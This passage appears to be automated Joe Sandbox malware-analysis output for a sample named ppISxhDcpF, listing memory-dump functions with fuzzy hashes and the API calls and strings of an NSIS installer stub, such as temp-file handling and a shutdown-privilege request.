Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57031505054c157a959b984307c6af544afbe13f57dfc95dcccbcc4ab9701c6b
Instruction ID: 249601a5ba877d6e7f1518a4e902288fe856f545b5dabfa274d86a324a0fc75e
Opcode Fuzzy Hash: 57031505054c157a959b984307c6af544afbe13f57dfc95dcccbcc4ab9701c6b
Instruction Fuzzy Hash: A5F0AF75D00208DFDB04CFB4C4186ACB7BAFB8A301F404038DA1177350CB365986CB94

Function 384B9608 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eb018cc61b2040c775d291b4ad5a79e9fb46b5c13953525714f695f07f50b58
Instruction ID: 6fdceeccdeac7d7c0194dd4c3ec5c3ec124ef05be44311b887834dbfd4279800
Opcode Fuzzy Hash: 6eb018cc61b2040c775d291b4ad5a79e9fb46b5c13953525714f695f07f50b58
Instruction Fuzzy Hash: DCF0E5203443059BE70A76BD9855B6F7A5FAFC5AA2F1044B6E506D7740DFD09C0613F2

Function 00151877 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08f4fbdaea1f2455b783d2e5f0c67064171d54b4362a1687e96616141b0ee495
Instruction ID: c8d430d030c95d29071a54f03444419a308995a108d69b74611a0610a048988f
Opcode Fuzzy Hash: 08f4fbdaea1f2455b783d2e5f0c67064171d54b4362a1687e96616141b0ee495
Instruction Fuzzy Hash: AFE09A319113668EC702AFB0E8044EEBB30EE83211B0242A7D010AB090EB311A8ECB62

Function 00159F1B Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a48df264ebd3a543b8b5cc1738f2c986d64c475324d833c3c16374ab3cc76067
Instruction ID: 9ce70eaf24115105cdc45ce293d788cdc81e363d28ab9c83385ec67a4f34d764
Opcode Fuzzy Hash: a48df264ebd3a543b8b5cc1738f2c986d64c475324d833c3c16374ab3cc76067
Instruction Fuzzy Hash: 7DF01C36648144EFCB018B94EC90ADDBFB2BF49211F184196EA11EB2A1C231A915CB21

Function 384BBDA8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a3b5c53e58b810dbd4876563ddd12bf288077a29b9b8fa2b4045b1fe7878819
Instruction ID: 18e8b284617515018ee9afda4b15a6b67260c8d1fcd5f04652ec38eb1210ef12
Opcode Fuzzy Hash: 5a3b5c53e58b810dbd4876563ddd12bf288077a29b9b8fa2b4045b1fe7878819
Instruction Fuzzy Hash: A6D06C74421E46DBE6102B60ACAC27A7B78FB0B317BC02D00A10E924318B7C44548A54

Function 001556FF Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06d86ff284badbc2bfe2767f23a45d121b070c44ac450a7cf8004e25c9dccc52
Instruction ID: 6c2771ac3a1cf35d23c9c2df1082323c4aa0d4b513fd7ca953f0b03eed164b58
Opcode Fuzzy Hash: 06d86ff284badbc2bfe2767f23a45d121b070c44ac450a7cf8004e25c9dccc52
Instruction Fuzzy Hash: DCD02B3140C3544FC306F7309C501863B2BA7C0101F008455E4045B56FDF741A858F62

Function 00159F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8be969989fd0f1255f86845d90ee361dc4678d1c4a11d10ffa9fabda8b5f097e
Instruction ID: 6cc6e8dc267ac08500cc8a2e689cf4cfe9e92d4a63fda68791d737e89483c417
Opcode Fuzzy Hash: 8be969989fd0f1255f86845d90ee361dc4678d1c4a11d10ffa9fabda8b5f097e
Instruction Fuzzy Hash: 1AD0673AB00008AFCB049F99EC809DDF776FB98221B048116F915A3260C6319965DB60

Function 0015FF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f26ae095e74a2092d062d5ee4da60d1ab793206c0152d681a5a4c4b3bf04fea
Instruction ID: 3413ee242460ef6e9a4b47f74760b8990ce626cb5155be6eaa35c2dbe73af844
Opcode Fuzzy Hash: 5f26ae095e74a2092d062d5ee4da60d1ab793206c0152d681a5a4c4b3bf04fea
Instruction Fuzzy Hash: 25D0A970800208EBC300DFA4D80ABA9B37CEB03202F4000A8A818232508BB00D00C685

Function 384B95D8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2763653ffdc035ff09f5da04af0eb308b8709affd61ce286fc41ae08e5800560
Instruction ID: 3180ef7db4271ce3ebc038ab791abfff6e9a9193eeabe8f08ab355f6a673dac7
Opcode Fuzzy Hash: 2763653ffdc035ff09f5da04af0eb308b8709affd61ce286fc41ae08e5800560
Instruction Fuzzy Hash: 0FC0803220571057AA19A32CFC8058F5E959EC57527508DBBF444C35045E505D4B43D5

Function 384BD0A1 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b78127867a037aef7e95c293883c4f75e169e442ba24e65bd3c6166398c70061
Instruction ID: 6fa391a94a2783d9287472eab696c7609c4fe406bcc2af69ba650169f61041de
Opcode Fuzzy Hash: b78127867a037aef7e95c293883c4f75e169e442ba24e65bd3c6166398c70061
Instruction Fuzzy Hash: CDC02233208B902BDB16C239B4421CCAF00AFC0520B480969D08987885CB40988382C5

Function 384BBD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f7be5b7896af60b0e3617cab46a336aadb1a9c8b35bbd7a3389eb943a220dda
Instruction ID: 045c3fe418b000515f9657608b4549117901a0c1331cffa9f2574d0c1ee79ce6
Opcode Fuzzy Hash: 8f7be5b7896af60b0e3617cab46a336aadb1a9c8b35bbd7a3389eb943a220dda
Instruction Fuzzy Hash: D4C012B4400E098BE6042B60AC1CB39B2A8B707303FC82910A008028308BB844148654

Function 384BD72F Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd19e87b3d26373442ed26196555d5b045e7c6116757d5d485f5bee53209e6cb
Instruction ID: ce20ee88940494c5dbcf34242ba982245345a085a856e9642dcdea810854e183
Opcode Fuzzy Hash: fd19e87b3d26373442ed26196555d5b045e7c6116757d5d485f5bee53209e6cb
Instruction Fuzzy Hash: D0D0A93040C2C86ECF0227B0E81A0ED3F22EB46709F2880ACE48B66947CAA1C6478B40

Function 00155710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2709257271.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ed26fe957c11e359a51863ba53e5b693ffe4e63485c3344910a414c40187c32
Instruction ID: c9addbf72ed4f70af3d0da4cadf28a181cf800efb089c2f3e957ce145cf9a783
Opcode Fuzzy Hash: 5ed26fe957c11e359a51863ba53e5b693ffe4e63485c3344910a414c40187c32
Instruction Fuzzy Hash: 24C012304043184FD605F765DC45555372B77C0501B408510E5055A56FDFB459964F91

Function 384B94B4 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6d7a5a54ae6e3274e0cd90cac50baeb817e5bd2e202d241d134a67140e66821
Instruction ID: 7f085cbf68e5ba107404c51ce999300149291b4cf539034aa5c9e823f2082f26
Opcode Fuzzy Hash: f6d7a5a54ae6e3274e0cd90cac50baeb817e5bd2e202d241d134a67140e66821
Instruction Fuzzy Hash: F3C08C302683048FE200AB1DC884B0137ACFF85B04F6058E1F0048BA61CB22FC004B05

Non-executed Functions

Function 004032A0 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 401stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,0043F000,00000000), ref: 00403363
CharNextW.USER32(00000000,0043F000,?), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,00441800), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(00441800,000003FB), ref: 004034D6
lstrcatW.KERNEL32(00441800,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,00441800,00441800,\Temp), ref: 004034F6
lstrcatW.KERNEL32(00441800,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,00441800,00441800,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,00441800), ref: 00403517
DeleteFileW.KERNEL32(00441000), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(00441800,~nsu,0043F000,00000000,?), ref: 0040362B
lstrcatW.KERNEL32(00441800,0040A26C,00441800,~nsu,0043F000,00000000,?), ref: 0040363A
lstrcatW.KERNEL32(00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(00441800,00440800,00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(00441800,00441800), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(00442800,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(?,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

UXTHEME, xrefs: 004032E7
SeShutdownPrivilege, xrefs: 0040374D
SETUPAPI, xrefs: 004032FB
~nsu, xrefs: 00403623
\Temp, xrefs: 004034DC
USERENV, xrefs: 004032F1
TMP, xrefs: 00403512
.tmp, xrefs: 0040363F
NSIS Error, xrefs: 00403341
Error launching installer, xrefs: 004035AD
TEMP, xrefs: 0040350A
Low, xrefs: 004034F8

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: .tmp$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-3972089011
Opcode ID: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(?,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,?,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(?,?,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,?,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,?), ref: 00404D61
SetWindowLongW.USER32(?,?,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,?,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,?), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

, xrefs: 004050E9
M, xrefs: 00404CDA
N, xrefs: 00404DBB

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 00405846 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,75573420,00441800,0043F000), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,75573420,00441800,0043F000), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,75573420,00441800,0043F000), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,75573420,00441800,0043F000), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,75573420,00441800,0043F000), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

\*.*, xrefs: 004058B1

Memory Dump Source

Source File: 00000005.00000002.2709396267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2709378896.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709413927.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709432251.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2709457878.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 384B7B4F Relevance: .6, Instructions: 603COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7458578a6517e104961b686ae4ade4a0d15dd601446d96e7702334d9bb5cb3bd
Instruction ID: ae46f8a259c3953be7cc0a4feb21dd2ffba47df32f0a14f67610db1e1e74351b
Opcode Fuzzy Hash: 7458578a6517e104961b686ae4ade4a0d15dd601446d96e7702334d9bb5cb3bd
Instruction Fuzzy Hash: 8B629C74E01228CFEB65DF65C884B9DBBB2BB89341F1081E9D449AB351DB319E86CF50

Function 3801B930 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a8f7864f14f8a5f2905e1543ed19e70efdfa9064f0e1ae9f3a8a597dbfc0e66
Instruction ID: f03a5d26166dd9f9492ef45c430a5f7bdfd8c5a1fac112e0014b72bd99deb8f7
Opcode Fuzzy Hash: 8a8f7864f14f8a5f2905e1543ed19e70efdfa9064f0e1ae9f3a8a597dbfc0e66
Instruction Fuzzy Hash: EEC1A178E00218CFEB54DFA5C994B9DBBB2BF89300F6081A9D809AB355DB355E85CF50

Function 3801B07F Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32f1db1733a38d1b164d67f99b1cac72414d9f6a79e90a537df9a34096ac52ce
Instruction ID: 4ff9cb6e57666b5263ef3b98436c21e2b4a761d16963ee0889c49702fdb92e1e
Opcode Fuzzy Hash: 32f1db1733a38d1b164d67f99b1cac72414d9f6a79e90a537df9a34096ac52ce
Instruction Fuzzy Hash: 3FC1B278E01218CFDB14DFA5C994B9DBBB2BF89300F5081A9D809AB355DB355E85CF10

Function 3801E790 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00db32bf063fdfd96e64abc5cc4670ee8d28fc3544dd2974cbc79ea2354ea016
Instruction ID: 44e63fb48d6a75651fba86be1a7e91655b58b0739e2d5d8c615f153a2c068863
Opcode Fuzzy Hash: 00db32bf063fdfd96e64abc5cc4670ee8d28fc3544dd2974cbc79ea2354ea016
Instruction Fuzzy Hash: A0C1B178E00218CFEB54DFA5C994B9DBBB2BF89300F6081A9D909AB355DB355E81CF10

Function 3801DEE1 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dafd2ae91e5b55e4a85c25bdbe89fd48c3e26abb05965f1e7e0a871ace2593cb
Instruction ID: 484c9616102808c841990a0dffb0ad172f584f22fcd2823edf91bc47fd493b10
Opcode Fuzzy Hash: dafd2ae91e5b55e4a85c25bdbe89fd48c3e26abb05965f1e7e0a871ace2593cb
Instruction Fuzzy Hash: 35C19278E00218CFEB54DFA5C994B9DBBB2BF89300F6081A9D809AB355DB355E85CF50

Function 3801E339 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7822a9f36fd879f477b31cd97595afa275ddd92f0f80e13d96c33610156f36b2
Instruction ID: c43a6c9287958edc0ed6e9f9f8ab8dfedcbf84fec3817f51d74fe52c1a096e20
Opcode Fuzzy Hash: 7822a9f36fd879f477b31cd97595afa275ddd92f0f80e13d96c33610156f36b2
Instruction Fuzzy Hash: 3DC1A178E00218CFEB54DFA5C994B9DBBB2BF89300F6081A9D809AB355DB355E85CF10

Function 3801DA89 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 241fd1f7f40eeeb41e932396cbaf0ce8534d20129bf50a3c8bfa0d6cdda4796a
Instruction ID: 675ba69b4246fe8c4f384e9c7c5aa181b2412016b52a3ab0f24be46151969861
Opcode Fuzzy Hash: 241fd1f7f40eeeb41e932396cbaf0ce8534d20129bf50a3c8bfa0d6cdda4796a
Instruction Fuzzy Hash: 2BC1B178E00218CFEB14DFA5C994B9DBBB2BF89301F6081A9D819AB355DB355E81CF10

Function 3801EBF2 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2736836506.0000000038010000.00000040.00000800.00020000.00000000.sdmp, Offset: 38010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38010000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42c37a9e51f3a932a7d9f78cf2b87edaf1cab441084e82d7bff57496deb54fc6
Instruction ID: 22b8f1697ddfcb38b91b9ca95d253b3245e443e3a7e251036e8548dfdcec8b0d
Opcode Fuzzy Hash: 42c37a9e51f3a932a7d9f78cf2b87edaf1cab441084e82d7bff57496deb54fc6
Instruction Fuzzy Hash: A7C1A278E00218CFDB14DFA5C954B9DBBB2BF89300F6081A9D909AB355DB359E85CF10

Function 384B1858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 193a624be05e0f53ae28eef77de46e66c592c5fb26dd22f1938b35104497e58e
Instruction ID: 88c47e51cde666ee537cf0e32ea460c6e6fc7ba5cee4e8492e991215274e6039
Opcode Fuzzy Hash: 193a624be05e0f53ae28eef77de46e66c592c5fb26dd22f1938b35104497e58e
Instruction Fuzzy Hash: C6C1A074E00218CFDB15DFA5C994B9DBBB2BF89300F6081A9D409AB355DB359E85CF50

Function 384B7070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_384b0000_ppISxhDcpF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ddd23ad893a6c45090f2de6d806f2b0337e0084de88519bb6967ab530c1a116
Instruction ID: 1b060c28b181150537650f8a56c341c218208fb6dc5879aa63240b9fbd455181
Opcode Fuzzy Hash: 9ddd23ad893a6c45090f2de6d806f2b0337e0084de88519bb6967ab530c1a116
Instruction Fuzzy Hash: C3C1A178E00218CFDB14DFA5C994B9DBBB2BF89300F6081A9D909AB355DB359E85CF50

Function 384B4820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2737135912.00000000384B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 384B0000, based on PE: false

Joe Sandbox IDA Plugin

